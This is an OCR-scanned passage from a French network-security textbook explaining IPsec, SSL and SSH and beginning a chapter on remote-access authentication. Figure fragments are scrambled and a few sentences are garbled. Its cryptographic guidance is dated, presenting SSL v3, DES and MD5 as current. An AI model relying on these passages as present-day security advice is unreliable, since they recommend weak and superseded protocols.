d'adresses IP et a l'impossibilite d'allouer de la bande passante pour les applications 
multimedias. Cela explique pourquoi IPsec est integre a IPv6, alors qu'IPv4 demande 
une mise a jour de ses piles pour en disposer. 

La plupart des systemes d' exploitation integrent IPsec dans leurs dernieres versions 
(Solaris, Windows XP, Cisco IOS xx, etc.). 

Cette suite de securite s'impose aujourd'hui comme une solution majeure pour creer des 
reseaux prives virtuels, sur Internet par exemple. IPsec offre des services de controle 
d'acces, d'integrite des donnees, d'authentiflcation de l'origine des donnees, de parade 
contre les attaques de type paquets rejoues (replay) et de confidentialite. De plus, il 
encapsule nativement tous les protocoles IP (TCP, UDP, ICMP, etc.). 
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Les deux fonctionnalites principales offertes par IPsec sont le chiffrement et l'authentifl- 
cation. L'ESP (Encapsulating Security Payload) offre le chiffrement et l'authentification 
sur les donnees du paquet IP, et l'AH (Authentication Header) l'authentification sur le 
paquet IP (hormis les champs modifiables). Ces deux options peuvent etre combinees 
pour generer des paquets IP chiffres et authentifies. Elles reposent toutes deux sur des 
algorithmes cryptographiques arm d'offrir les services de securite attendus. 

Associations de securite 

L'etablissement d'une session securisee IPsec passe par la definition d' associations de 
securite. 

Une association de securite, ou SA (Security Association), permet de mettre en relation 
un emetteur et un destinataire. L' association est unidirectionnelle et definit les services 
de securite qui vont etre utilises soit par AH, soit par ESP. 

Pour etablir une session IPsec, il faut au minimum deux SA, pour une communication 
bidirectionnelle — phase 1 de la negotiation IKE (Internet Key Exchange) — , et quatre 
SA, avec les options AH et ESP — phase 2 de la negotiation IKE. La necessite d' avoir 
deux SA provient du fait que la confiance n'est pas une relation symetrique. En effet, ce 
n'est pas parce que Cedric a confiance en Denis que Denis a confiance en Cedric. Une 
SA est done unidirectionnelle. 

Une SA definit les parametres necessaires a un protocole (ESP ou AH) mais pas a deux 
protocoles simultanement. Si deux protocoles sont utilises simultanement, il faut alors 
creer deux ou plusieurs SA, qu'on appelle SA-Bundle. On peut ainsi combiner les SA 
afin de fournir plusieurs services de securite a chaque trame, avec deux modes d' associa- 
tion possibles (ces modes d' association sont eux-memes combinables) : 

• Transport Adjacency : ce mode d' association permet d'appliquer deux protocoles a 
chaque trame en architecture end-to-end (systeme a systeme) et en mode transport (on 
garde la trame IP originelle). Par exemple, il est possible d'appliquer ESP pour la 
confidentialite et AH pour 1'authentification de chaque trame. 

• Iterated Tunnel : ce mode d' association permet la creation de plusieurs SA en mode 
tunnel entre differents systemes (la trame IP originelle est entierement encapsulee dans 
une nouvelle trame). Par exemple, il est possible d'encapsuler un tunnel dans un autre 
tunnel. 

Une association de securite contient les champs suivants : 

• Index de parametres de securite : il s'agit d'un nombre aleatoire et unique localement. 
Cette valeur est inseree dans les champs AH et ESP. 

• Adresse de destination IP : identifie le point de destination final du SA. 

• Identifiant du protocole de securite : AH ou ESP. 

• Numero d'ordre : il s'agit d'une valeur permettant d'eviter le rejeu (replay) des 
paquets. Cette valeur est inseree dans les champs AH et ESP. 
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• Debordement de numero d'ordre : indique Taction a entreprendre si Ton constate un 
debordement du numero d'ordre. Les numeros d'ordre prennent leurs valeurs dans 
2 32 - 1 si toutes les valeurs ont ete prises. Une nouvelle association de securite doit 
alors etre negociee. 

• Fenetre antirejeu : comme le protocole IP ne garantit pas que les paquets arrivent dans leur 
ordre d'emission, une fenetre de glissement est necessaire pour prendre en compte ce para- 
metre conceptuel du protocole IP. La taille de la fenetre doit etre choisie avec precaution. 

• Information AH : contient tous les parametres relatifs aux algorithmes d'authentifica- 
tion utilises ainsi que les cles associees. 

• Information ESP : contient tous les parametres relatifs aux algorithmes de chiffrement 
utilises ainsi que les cles associees. 

• Duree de vie de l'association de securite : il s'agit d'un intervalle de temps decrivant la 
duree a partir de laquelle une nouvelle association de securite doit etre negociee ou 
terminee. 

• Mode de protocole : transport ou tunnel. 

• Chemin MTU (Maximum Transmission Unit) : il s'agit de la taille maximale d'un 
paquet pouvant etre transmise sans fragmentation. 

Apres mise en place des associations de securite, tout paquet IP transitant par une session 
IPsec fait l'objet de une ou plusieurs associations de securite par le biais de l'adresse IP 
de destination. Les services de securite a appliquer au paquet IP sont de la sorte connus. 

Toutes les SA sont stockees localement dans une base de donnees des associations de 
securite, ou SADB (Security Association Database). Cette derniere contient tous les 
parametres relatifs a chaque SA. Elle est consultee pour savoir comment traiter chaque 
paquet re^u ou a emettre. 

Comme nous le verrons par la suite, le protocole ISAKMP (Internet Security Association 
and Key Management Protocol) indique comment deux parties communiquent et detaille 
les transitions d'etats afln d'etablir une communication securisee. II offre done un cadre 
generique qui s'appuie sur les protocoles tels que SKEME (Secure Key Exchange 
MEchanism) ou Oakley pour definir la maniere d'effectuer un echange de cles 
authentifle, etc. 

IKE, le protocole d' echange de cles de IPsec, repose sur les protocoles ISAKMP, 
SKEME et Oakley. 

Les politiques de securite IPsec sont definies dans une base de donnees de politiques de 
securite, ou SPD (Security Policy Database). Cette derniere contient un ensemble de 
regies permettant de determiner si un paquet IP donne se verra apporter des services de 
securite, sera autorise a passer ou sera rejete. 

La figure 7.13 illustre les elements mis en jeu dans une session IPsec. 

La combinaison d' associations de securite est done possible. Nous verrons par la suite 
comment combiner les SA avec les options de type transport et tunnel. 
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Figure 7.13 
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Encapsulation de I'information de securite (ESP) 

L' encapsulation de 1'information de securite fournit les services de confidentialite des 
donnees contenues dans les paquets IP transmis. 

La figure 7.14 illustre comment un paquet IP est modifie avec l'ajout de l'ESP (en mode 
transport, on garde la trame IP originelle). 

L'en-tete ESP est reellement ajoute a la trame IP originale entre les deux points reseau 
etablissant la session IPsec. Comme l'en-tete IP n'est pas touche, le routage des paquets 
IPsec est completement transparent pour le reseau IP qui les transmet (Internet, etc.). 

Un en-tete ESP est compose des champs suivants : 

• Index de parametres de securite (32 bits) : identifie une association de securite decri- 
vant des parametres de securite d'une session. 

• Numero d'ordre ou de sequence (32 bits) : valeur permettant d'eviter le rejeu de paquets. 

• Donnees d' information utile ou protegee par le chiffrement (variable) : contient les 
champs du paquet initial chiffres. 

• Bourrage (0 a 255 octets) : ce champ permet de completer le texte chiffre avec des 
valeurs de bourrage afin de s' assurer que le texte qui sera chiffre est un multiple d'un 
certain nombre d' octets (requis par certains protocoles) mais aussi que la longueur 
finale du texte n'est pas devoilee. 



Longueur de bourrage (8 bits) : indique le nombre d' octets de bourrage. 
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Figure 7.14 
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• Identification de 1' en-tete suivant (8 bits) : indique le premier protocole a apparaitre 
dans le champ Donnees d' information utile. 

• Donnees d'authentification (variable) : contient la valeur de controle d'integrite calculee 
a partir des champs de l'ESP, excepte pour le champ Donnees d'authentification. 

Les algorithmes cryptographiques de chiffrement utilises sont tous a cle secrete et 
s'appuient sur les algorithmes DES, RC5, IDEA, CAST, Blowfish et AES. 

L'algorithme de controle d'integrite est fonde sur HMAC, qui peut utiliser les algorith- 
mes de hachage MD5 et SHA-x. 

En-tete d'authentification (AH) 

Comme illustre a la figure 7.15, l'en-tete d'authentification (Authentication Header) 
fournit les services d'integrite des donnees et d'authentification des paquets IP (mode 
transport : on garde la trame IP originelle). 

De meme que pour l'en-tete ESP, l'en-tete AH est reellement ajoute a la trame IP origi- 
nale entre les deux points reseau etablissant la session IPsec. Comme l'en-tete IP n'est 
pas touche, le routage des paquets IPsec est completement transparent pour le reseau IP 
qui les transmet (Internet, etc.). 

Un en-tete AH est compose des champs suivants : 



En-tete suivant (8 bits) : identifie le type d' en-tete qui suit l'en-tete AH. 
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Figure 7.15 

En-tete AH du protocole 
IPsec en mode transport 



En-tete IP 


En-tete TCP 
ou autre 


Donnees 



A 







\Passerelle de securite/ 



r 


v Authentifie hormis les champs modifiables 


I 


En-tete IP 


En-tete AH 


En-tete TCP 
ou autre 


Donnees 



I 

I 
I 
I 
I 



I 
I 

I 



* 

\ 



/ 
I 




Ifasserelle de securite/ 



\ 

i 

t 



En-tete IP 


En-tete TCP 
ou autre 


Donnees 



Longueur de l'en-tete d'authentiflcation (8 bits) : il s'agit du nombre de mots de 
32bitsdel'en-teteAH. 

Reserve (16 bits) : pour un usage futur. 

Index de parametres de securite (32 bits) : identifie une association de securite decri- 
vant les parametres de securite d'une session. 

Numero d'ordre ou de sequence (32 bits) : valeur permettant d'eviter le rejeu de paquets. 

Donnees d'authentiflcation (variable) : contient la valeur du controle d'integrite realise 
sur le paquet IP d'origine. Ce calcul est effectue sur les champs qui doivent demeurer 
inchanges lors du transit du paquet IP dans le reseau. Si le MAC (code d'authentiflca- 
tion du message) etait realise sur des champs variables, comme la duree de vie d'un 
paquet IP, la verification de l'en-tete par le destinataire serait negative. 

L'algorithme de controle d'integrite est fonde sur HMAC, qui peut utiliser les algorith- 
mes de hachage MD5 et SHA-x. 



Gestion des cles 

Developpe specifiquement pour IPsec, le protocole IKE (Internet Key Exchange) a pour 
objectif de fournir des mecanismes d'authentiflcation et d'echange de cles. II repose sur 
ISAKMP, pour le cadre generique de gestion des associations de securite, et sur les 
protocoles Oakley et SKEME (Secure Key Exchange MEchanism). 
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Developpe par la NSA, le protocole ISAKMP definit des formats de paquets, des timers 
de retransmission, etc., afin d'etablir une session securisee. 

Pour l'echange des cles de sessions, le protocole IKE s'appuie sur le protocole d'echange 
de cles Oakley afln de renforcer le protocole d'echange de cles Diffie-Hellman. Les 
points de faiblesse identifies du protocole Diffie-Hellman sont le manque d'authentifica- 
tion sur l'identite des utilisateurs, qui permet de mener des attaques dites man-in-the- 
middle, et la possibilite de subir des attaques par deni de service sur la generation des 
cles qui a ete effectuee avant l'authentification des parties. 

Oakley a recours aux cookies et ne necessite pas de calcul du secret partage Diffie-Hell- 
man avant la fin du protocole. Le role d' Oakley est de permettre le partage de fa^on sure 
entre les tiers d'un ensemble d' informations relatives au chiffrement de la session : nom 
de la cle, cle secrete, identite des tiers, algorithmes de chiffrement et d'authentification et 
fonction de hachage. 

Une negociation IKE pour l'etablissement d' associations de securite se deroule en deux 
phases : 

• Main Mode (mode principal). Cette phase d'etablissement d'une association de 
securite ISAKMP permet de negocier les attributs suivants : algorithme de chiffre- 
ment, fonction de hachage, methode d'authentification et groupe pour Diffie-Hellman 
ou pour les courbes elliptiques. Trois methodes d'authentification sont possibles : 

- Secret partage prealable. Impose que Ton installe une meme cle sur deux syste- 
mes qui souhaitent etablir des sessions IPsec. Les correspondants s'authentifient 
mutuellement par une fonction de hachage (HMAC-MD5, HMAC-SHA-x) impli- 
quant la cle secrete. 

- Signature numerique. Impose que chaque systeme possede une paire de cles 
(publique, privee). L'authentification est fondee sur l'echange de donnees signees 
par chaque partie par le biais d'un algorithme de signature numerique (RSA, DSS) 
offrant de plus le service de non-repudiation. 

- Authentification par chiffrement a cle publique. Impose que chaque systeme 
possede une paire de cles (publique, privee). L'authentification s'appuie sur 
l'echange de donnees par le biais d'un chiffrement asymetrique (RSA) de part et 
d' autre des parties de la session IPsec. Cette methode n'offre pas la non-repudiation 
des deux parties. Une meilleure methode consiste a recourir a des certificats electro- 
niques signes par une autorite de certification. 

- Ce mode se compose de six paquets (trois echanges) et permet de proteger l'identite 
des participants. II existe aussi un mode dit « agressif », qui permet de limiter les 
echanges a trois paquets, mais fournit une protection d'identite limitee. 

• Quick Mode (mode rapide). Cette phase d'etablissement d' associations de securite 
AH et/ou ESP permet de negocier les parametres de securite des protocoles sous- 
jacents. Chaque negociation aboutit au minimum a deux SA, une pour chaque sens de 
la communication. Les echanges de cette phase sont securises par 1' association de 
securite ISAKMP negociee precedemment. 
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Le protocole IKE prevoit aussi d'autres echanges pour le maintien des associations de 
securite et la renegotiation des cles utilisees pour chiffrer les donnees par les algorithmes 
symetriques. Dans ce cadre, il est possible d'opter pour une caracteristique appelee PFS 
(Perfect Forward Secrecy). Sachant que cette option permet d' assurer que deux cles 
generees de maniere successive n'auront pas de relation entre elles, elle renforce la secu- 
rite de la session IPsec. En d'autres termes, un systeme pour lequel toutes les cles syme- 
triques deriveraient d'un secret unique n'a pas la caracteristique PFS. 

Une evolution majeure de IKE est en cours vers une version 2, qui integrera les evolu- 
tions suivantes : 

• Simplification de la norme et suppression du DOI (domaine d' interpretation). 

• Integration des mecanismes NAT Traversal et EAP (autres modes d'authentification). 

• IKE ecoute sur les ports 500 et 4500. Le port 4500 est reserve au trafic encapsule dans 
UDP pour le NAT Traversal. 

• Simplification du protocole par un echange de quatre messages au lieu des differents 
types d' echanges de la version precedente. 

• Amelioration des performances par la reduction du nombre de messages echanges 
pour la creation des associations de securite. 

Autres modes d'authentification 

IPsec etablit des tunnels securises en utilisant des mecanismes d'authentification fondes 
sur des secrets partages ou des certificats. Cependant, 1' integration des acces distants au 
sein du reseau interne d'une entreprise ne repose generalement pas sur ces memes meca- 
nismes d'authentification. lis sont done le plus souvent incompatibles avec les modes 
d'authentification utilises par IKE en standard. De plus, la gestion d'une PKI (Public Key 
Infrastructure) est plus complexe qu'une simple base de donnees portant sur des couples 
nom/mot de passe. 

Dans cette optique, le protocole Xauth et le mode d'authentification IKE Hybrid ont ete 
proposes pour repondre a ce besoin d' evolution des modes d'authentification d'IKE : 

• Xauth : la phase I du protocole IKE permet au client et au serveur de s'echanger une 
cle de chiffrement et de s'authentifier mutuellement. A la fin de cette phase, il existe 
une association de securite entre le client et le serveur qui sera utilisee pour la phase II. 
A ce stade, le protocole Xauth joue le role d'une extension permettant a un utilisateur 
de s'authentifier avec des modes d'authentification autres que ceux dermis en standard 
par IKE (RADIUS, CHAP, OTP, SKEY, etc.). Ce protocole s'intercale done entre les 
phases I et II du protocole IKE et est protege par 1' association de securite negociee en 
phase I. Bien qu'il permette d'ajouter une authentification utilisateur, il necessite la 
gestion de secrets partages ou de certificats cotes client et serveur. 

• IKE Hybrid : ce mode d'authentification permet de formaliser la combinaison unique 
de deux modes d'authentification differents entre le client (par exemple, nom/mot de 
passe) et le serveur (certificat). A la fin de la phase I du protocole IKE, un tunnel a pu 
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etre etabli, bien que le serveur ait pu etre identifie par le client a l'aide du certiflcat, 
mais pas le client aupres du serveur. A ce stade, le protocole Xauth permet d'authenti- 
fler le client aupres du serveur. 

Finalement, la solution retenue dans revolution du protocole IKE v2 inclura les modes 
d' authentication fondes sur le protocole EAP (Extensible Authentication Protocol). 

Modes transport et tunnel 

En plus des options precedentes, IPsec offre deux modes de transport, les modes trans- 
port et tunnel. La figure 7.16 illustre le principe de fonctionnement de ces modes. 



Figure 7.16 
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A 1' inverse du mode transport, le mode tunnel protege le paquet IP originel en creant un 
nouveau paquet IP qui encapsule le paquet d'origine. Le nouveau paquet cree est dote 
d'adresses source et destination differentes de celles du paquet originel, ce qui accroit la 
securite de ce dernier. 

Chaque association de securite peut etre creee en mode tunnel ou en mode transport. 

La figure 7.17 illustre les quatre possibilites d' associations de securite suivantes : 

• Etablissement d'une session securisee entre deux systemes en utilisant AH en mode 
transport, ou ESP en mode transport, ou ESP en mode transport a l'interieur de AH en 
mode transport, ou AH a l'interieur d'ESP en mode tunnel, etc. 
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Une AS tunnel 




Figure 7.17 

Combinaison d' associations de securite 



• Etablissement d'une session securisee entre deux passerelles en mode tunnel (genera- 
lement ESP en mode tunnel pour assurer la confldentialite du traflc et masquer les 
adresses internes). 

• Etablissement d'une session securisee entre deux systemes au travers d'une session 
securisee entre deux passerelles etablie en mode tunnel. Cela peut etre vu comme une 
combinaison des cas 1 et 2. 

• Etablissement d'une session securisee en mode tunnel (generalement ESP en mode 
tunnel pour assurer la confldentialite du traflc et masquer les adresses internes) a une 
passerelle, mais aussi etablissement d'une session securisee a un systeme donne au 
travers de la session securisee avec la passerelle. 

Le mode tunnel doit etre utilise pour des associations de securite traversant des reseaux 
externes, et non le reseau interne de l'entreprise. Cela recouvre les connexions d'un 
reseau prive virtuel offert par un operateur de telecommunications sur Internet ou sur un 
reseau offrant la technologie MPLS/VPN. La technologie MPLS (Multiprotocol Label- 
Switching) ne propose aucun chiffrement des paquets. 

Pour des connexions reseau sur un reseau MPLS, on deploie des passerelles IPsec 
permettant de monter des associations de securite en mode tunnel avec 1' option ESP plus 
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l'authentification si necessaire. Ces passerelles IPsec sont de plus dediees a la gestion des 
sessions securisees afin de garantir des temps de reponse optimaux. 

Les communications sur le reseau interne de l'entreprise se satisfont d' associations de 
securite en mode transport. Le choix simultane des options AH et ESP peut etre active 
selon les besoins. 

Avantages et inconvenients 

Bien qu'IPsec soit un protocole jeune, de nombreuses mises en oeuvre existent de nos 
jours, allant jusqu'a des offres de services. 

Les principaux avantages d' IPsec sont les suivants : 

• Cadre securitaire flexible fonde sur une boite a outils modulaire. 

• Possibilite d'instaurer plusieurs niveaux de securite : chiffrement et/ou authentifica- 
tion, chiffrement faible ou fort, authentification a plusieurs degres. 

• Service de securite totalement transparent pour les applications. 

• Securisation du point A au point B de tous les protocoles situes au-dessus de la 
couche IP. 

• Le NAT-T (NAT Traversal) IPsec permet aux homologues IPsec situes derriere des 
NAT de detecter la presence d'une translation d'adresse, de negocier des associations 
de securite IPsec et d' envoy er des donnees protegees par ESP, meme en cas de modi- 
fication des adresses des paquets IPv4 proteges par IPsec. 

• Mise en oeuvre de la translation d' adresses NAT (Network Address Translation) avec 
1' option ESP. Le NAT peut cependant etre mis en oeuvre avant le boitier IPsec. 

• Mise en oeuvre de la translation de port PAT (Port Address Translation) via la fonction 
NAT-T. Le PAT peut cependant etre mis en oeuvre avant le boitier IPsec. 

• Integration d'autres modes d' authentification avec la version IKE v2 fondee sur le 
protocole EAP. 

• IPsec est la solution d' administration souhaitable entre les systemes d' administration 
et les equipements reseau. 

Les principaux inconvenients d' IPsec sont les suivants : 

• Impossibilite de mise en oeuvre de la translation d' adresses NAT/PAT avec 1' option 
AH. Le NAT/PAT peut cependant etre mis en oeuvre avant le boitier IPsec. 

• Interactions entre le protocole d'echange de cles et les infrastructures a cle publique 
(PKI) non normalisees. 

• Absence d' outils d' administration centralises des regies de securite. 

• Entorses proprietaries nuisibles a l'interoperabilite. 

Par ailleurs, le filtrage ou 1' analyse des paquets de donnees est rendu impossible, par 
exemple, pour le pare-feu filtrant les acces Internet d'une entreprise ou le systeme de 
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detection d' intrusion. Seul le trafic de type IPsec peut etre filtre, comme l'illustre la 
configuration d'une ACL etendue (Cisco) suivante : 

ip access-list acl_nom extended 
permit esp host x host y 
permit ahp host x host y 
permit udp host x host y eq isakmp 
deny ip any any log 



SSL (Secure Sockets Layer) 

Con^u et developpe par Netscape, le protocole SSL a ete developpe au-dessus de la 
couche TCP afln d'offrir aux navigateurs Internet la possibilite d'etablir des sessions 
authentifiees et chiffrees. La premiere version de SSL date de 1994. La version actuelle 
est la v3. 

Afin de standardiser officiellement le protocole SSL, un groupe de travail TLS (Transport 
Layer Security) a ete forme au sein de 1'IETF afin de faire de SSL un standard Internet. 

La figure 7.18 illustre le principe de fonctionnement du protocole SSL. SSL s'insere 
entre les couches applicatives et la couche reseau TCP afin d'offrir ses services de secu- 
rite. II est possible de ne pas utiliser le protocole SSL. Les couches applicatives se 
connectent alors directement a la couche reseau TCP. 



Figure 7.18 
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SSL fait la distinction entre une session, qui definit une association entre un client et un 
serveur, et une connexion, qui definit un moyen de transport associe a des services deman- 
des. II peut y avoir plusieurs connexions pour une session donnee. Les valeurs d'etats 
entre une session et une connexion sont distinctes mais forment un tout consistant. 

Une connexion peut choisir de passer ou non par la couche de securite SSL-TLS. Les 
services de securite offerts par la version 3 de SSL sont les suivants : 

• Authentification. L'authentification s'appuie sur des certificats electroniques X.509 
v3. La verification du certificat du serveur est obligatoire, tandis que celle du client 
reste optionnelle. L'algorithme cryptographique a cle publique RSA est utilise pour 
l'authentification et la signature numerique. La plupart des certificats des autorites de 
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certification sont deja integres dans les navigateurs Internet. L'utilisateur peut aj outer 
manuellement d'autres certificats. 

• Confidentialite. La confidentialite s'appuie sur des algorithmes cryptographiques a 
cles symetriques negociees lors de la phase d'etablissement de la session. Les cles 
utilisees sont generees pour une session donnee. Les algorithmes de chiffrement 
peuvent etre IDEA, DES, 3DES, Fortezza, etc. 

• Integrite. L'integrite des messages echanges s'appuie sur la fonction de hachage 
HMAC, qui necessite pour le calcul du MAC une cle secrete partagee par la session 
pour le chiffrement des donnees et une fonction de hachage primaire (MD5 et SHA-x). 

• Non-rejeu. Le non-rejeu de messages est couvert par l'attribution d'un numero de 
sequence, comme pour le protocole IPsec. 

SSL est constitue de quatre sous-protocoles, comme illustre a la figure 7.19. 



Figure 7.19 
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Ces differents protocoles interagissent, mais chacun avec des fonctions precises : 

• Handshake est le protocole d'etablissement d'une connexion SSL. II permet d'authen- 
tifier les parties client- serveur et de negocier les parametres cryptographiques (choix 
de l'algorithme de chiffrement, de l'algorithme de calcul du code d'authentification 
MAC, des cles de chiffrement, etc.). 

• Record est un protocole d'enregistrement. Pour une meme connexion SSL, il offre a la 
fois les services de confidentialite, par le biais de l'algorithme cryptographique a cle 
secrete retenu, et d' integrite des messages echanges, par le biais du calcul du code 
d'authentification MAC pour chaque message echange. Des fonctions de fragmenta- 
tion et de compression des donnees sont en outre realisees. 

• Alert est un protocole d'alerte. II permet d'echanger des messages predefinis sur les 
etats d'une connexion SSL, tels que la fermeture d'une connexion, notamment 
lorsqu'un certificat a ete revoque, qu'il a expire, qu'il est vicie, etc. 
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• CCS (Change Cipher Security) est un protocole de modification des specifications de 
chiffrement. II permet de modifier les parametres de chiffrement d'une connexion SSL. 

Des tests montrent que l'etablissement d'une connexion SSL est l'etape qui necessite le 
plus long temps d'attente pour l'utilisateur. Vient ensuite le chiffrement/dechiffrement et 
la compression/calcul du code d' authentication du message echange. Le rafraichisse- 
ment d'une session et l'ouverture d'une connexion sont plus rapides. Le temps de traite- 
ment local ne prend guere que quelques millisecondes. 

D'autres protocoles de transaction securisee sont disponibles aujourd'hui, notamment les 
suivants : 

• SET (Secure Electronic Transactions), soutenu par Visa et MasterCard, qui veut 
s'imposer comme un standard international. 

• C-SET, qui est une extension de SET pour le paiement securise a partir d'une carte a 
puce connectee a l'ordinateur de l'utilisateur. 

• E-Comm/Cyber-Comm, soutenu par les banques franchises (Societe generale, GIE 
Carte bleue, etc.), qui tend a imposer l'utilisation du code PIN de la carte bancaire 
plutot qu'une signature electronique pour la validation des transactions. 

Avantages et inconvenients 

Bien que SSL soit un protocole jeune, il en existe de nombreuses mises en ceuvre dans 
divers domaines (commerce electronique, banque a distance, etc.). 

Les principaux avantages de SSL sont les suivants : 

• Integration dans les dernieres versions de tous les navigateurs Internet du marche, 
Mozilla, Microsoft Internet Explorer, Opera, etc. 

• Transparence de la couche securite, qui ne presente aucune contrainte bloquante pour 
l'utilisateur. Le temps d'etablissement d'une session SSL est tres rapide, de meme que 
le chiffrement, la fragmentation et la compression des donnees. 

• Standardisation par le groupe de travail TLS, qui va donner une assise officielle a ce 
protocole, qui s'est deja impose comme un standard de fait. 

Les principaux inconvenients de SSL sont les suivants : 

• Authentication de l'utilisateur non obligatoire, ce qui rend le schema de securite 
faible (c'est en fait l'authentification qui devient faible) quant aux identites reelles des 
utilisateurs. 

• Modele client-serveur insuffisant pour des services de paiement electronique avec des 
sites marchants incluant des transactions avec les banques. Le protocole SET a ete 
developpe dans cet objectif. 

• Methodes de securite peu sophistiquees pour des transactions demandant un niveau de 
confidentialite important. 
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SSH (Secure Shell) 

La commande SSH est une version securisee de RSH (Remote Shell) et rlogin. Elle se 
situe au niveau de la couche application du modele OSI et permet d'obtenir un interprete 
de commande (shell) distant securise avec un systeme cible donne. 

Comme l'illustre la figure 7.20, d'autres applications peuvent utiliser une session SSH. 
Le protocole SSH s'insere entre les couches applicatives et la couche reseau TCP afin 
d'offrir ses services de securite. II reste possible de ne pas utiliser le protocole SSH. Les 
couches applicatives se connectent alors directement a la couche reseau TCR 



Figure 7.20 
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Methodes d'authentification 

SSH utilise les types de cles suivantes : 

• Cle utilisateur (user key). Paire de cles publique/privee, ou bicle, asymetrique, creee 
par l'utilisateur et permanente (stockee sur disque). Elle permet l'authentification de 
l'utilisateur si ce mode d'authentification a cle publique est utilise. 

• Cle hote (host key). Bicle asymetrique, creee par l'admmistrateur du serveur lors de 
l'installation et de la configuration. Cette cle est permanente et stockee sur le disque 
dur du systeme. Elle permet l'authentification des systemes entre eux. 

• Cle de session (session key). Cle secrete destinee a etre utilisee par l'algorithme de 
chiffrement symetrique chiffrant le canal de communication. Depuis la version 2, SSH 
utilise deux cles de session, une par sens de communication. 

SSH utilise les modes d'authentification suivants : 

• Login. Lors de la connexion, l'utilisateur est invite, apres avoir decline son identite, a 
entrer un mot de passe qui est transmis au serveur, lequel le compare a celui associe a 
l'utilisateur. L'apport de SSH est le chiffrement de la communication entre le client et 
le serveur. 

• rhosts (hostbased). Identification-authentification similaire a celle pratiquee avec les 
R-commandes et les fichiers tels que /etc/rhosts ou -/.rhosts, qui certifient les sites 
client ou systeme. Ce mode de fonctionnement reste toujours dangereux et ne devrait 
pas etre utilise. 
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• Par cles publiques. Authentification fondee sur des algorithmes de chiffrement 
asymetriques (RSA, DSA, etc.), dans laquelle le client et le serveur possedent chacun 
un jeu de paires de cles publique/privee. 

• Par certificats. Authentification fondee sur des certificats X.509. Les serveurs LDAP 
contenant les certificats doivent etre connus. 

• Par challenge/response. Certaines versions de SSH supportent le mode challenge/ 
response en s'appuyant sur ralgorithme S/Key ou Opie. 

Methodes de chiffrement 

Pour chiffrer les connexions, SSH utilise des algorithmes de chiffrement tels que 3DES, 
IDEA (plus performant que 3DES), Blowfish (tres rapide) et AES, qui est le nouveau stan- 
dard de chiffrement pour les communications gouvernementales non classees secretes. 

Methodes de tunneling 

SSH permet de rediriger (forward) n'importe quel flux TCP en mode tunnel dans une 
session SSH. Le flux de l'application consideree est encapsule a l'interieur du tunnel cree 
par la connexion (session) SSH. 

Avantages et inconvenients du tunneling SSH 

Bien que SSH soit un protocole jeune, il en existe de nombreuses mises en ceuvre dans 
divers domaines (administration de systeme, transfert securise de donnees, etc.). 

Les principaux avantages du tunneling sont les suivants : 

• Remplacement des fameuses commandes Remote : ssh remplace rsh et rlogin, scp 
remplace rep, etsftp remplace ftp. 

• Authentification fondee sur des cles publiques/privees aussi bien pour des machines 
que pour des utilisateurs. 

• Chiffrage et compression de la connexion. 

• Redirection de tous les flux TCP dans le tunnel de la session (notamment FTP, 
RCP, etc.), avec reconnaissance native du protocole X.l 1 (mode forward X.l 1). 

• Renforcement de la securite des acces et de 1' administration des plates-formes ou 
systemes (serveurs) sensibles de l'entreprise. 

Les principaux inconvenients du tunneling sont les suivants : 

• comme pour beaucoup de produits, coexistence de differentes versions de SSH parfois 
incompatibles ; 

• pour les acces securises aux equipements reseau, absence de protection des protocoles 
(mode tunneling) de type SNMP, TFTP, etc. ; 
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pour les acces securises aux equipements reseau, avenir incertain face a IPsec, dote de 
capacites de chiffrement et d'authentiflcation de tous les services IP/TCP/UDP et 
partie integrante d'IPv6. 



En resume 



Plusieurs outils et concepts permettent de maitriser les flux reseau a l'aide d'un pare-feu. 
De meme, plusieurs protocoles de securite assurent la confldentialite des donnees transi- 
tant sur le reseau. Le choix et la mise en oeuvre de tels outils necessitent de connaitre en 
premier lieu les besoins de securite de l'entreprise. 

La protection des acces reseau est efflcace, surtout si les flux reseau sont authentifles, 
puisque les pirates ne peuvent plus utiliser des flux reseau autorises pour penetrer le 
reseau d'une entreprise, comme le detaille le chapitre suivant. 




Protection des acces distants 



Les acces distants au reseau d'entreprise offrent de nombreuses possibilites de penetra- 
tion. Les faiblesses de securite classiques reposent a la fois sur des lacunes d'authentifi- 
cation des utilisateurs et sur des failles des protocoles utilises pour ces acces distants. 

Ce chapitre traite de ces deux problemes, authentiflcation et protocoles, et detaille leurs 
solutions techniques. 

La gestion des secrets associes aux acces distants reste le point de faiblesse principal en 
matiere de securite reseau. La mise en place de procedures d'autorisation et de verifica- 
tions periodiques des droits d' acces des utilisateurs garantit la consistance de la base de 
donnees d' authentiflcation et des droits d' acces des utilisateurs. 



Assurer I'authentification des connexions distantes 

Le laxisme qui entoure la gestion des secrets et des moyens d' authentiflcation des acces 
distants a des repercutions de securite non negligeables sur l'entreprise. La plupart des 
acces distants se font a l'aide d'un ordinateur portable, qui ne contient generalement ni 
antivirus, ni pare-feu logiciel pour proteger les connexions des pirates qui scannent en 
permanence les plages d'adresses IP des operateurs de telecommunications. II s'ensuit 
que les moyens d' acces et d' authentiflcation au reseau d'entreprise sont disponibles en 
libre- service. 

De surcroit, des virus informatiques ont ete specialement developpes pour rechercher sur 
des systemes donnes tels que les PC portables tous les secrets relatifs aux acces distants. 

L' authentiflcation assure une protection contre toutes les attaques utilisant une usurpa- 
tion d'identite, telles les attaques de type IP spoofing, qui simulent une adresse IP qui 
n'est pas celle de l'attaquant, les attaques visant a derober les mots de passe, les attaques 
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par cheval de Troie, dont l'objectif est d'offrir a l'attaquant un acces non authentifie ou 
derobe, les attaques visant a dechiffrer les mots de passe d'un systeme et les attaques 
utilisant des faiblesses de codage ou de protocoles d'authentiflcation. 



Regies de securite pour I'authentification des connexions distantes 

Les regies de securite a considerer pour I'authentification des connexions distantes sont les suivantes : 

• Tous les utilisateurs de I'entreprise sont connus et associes a une matrice de droits d'acces aux 
ressources de I'entreprise. 

• Tous les acces au reseau d'entreprise (intranet) sont authentifies. Cela concerne les acces des utilisa- 
teurs au reseau interne de I'entreprise aussi bien qu'aux ressources informatiques. 

• Les acces distants au reseau d'entreprise (intranet) sont fortement authentifies. 

• Les connexions de tierces parties ou de fournisseurs du reseau d'entreprise (extranet) sont authenti- 
fiees. Aucune connexion directe au reseau interne de I'entreprise (intranet) n'est autorisee. 



Cette section traite des solutions a mettre en oeuvre afln d'offrir des services d'authentifl- 
cation des connexions distantes et detaille leurs aspects techniques. 



Mots de passe 



Le mot de passe est le schema d'authentiflcation le plus utilise au monde. Simple, ne 
demandant aucun outil ou systeme de securite supplemental, il reste aussi le systeme le 
plus faible. 

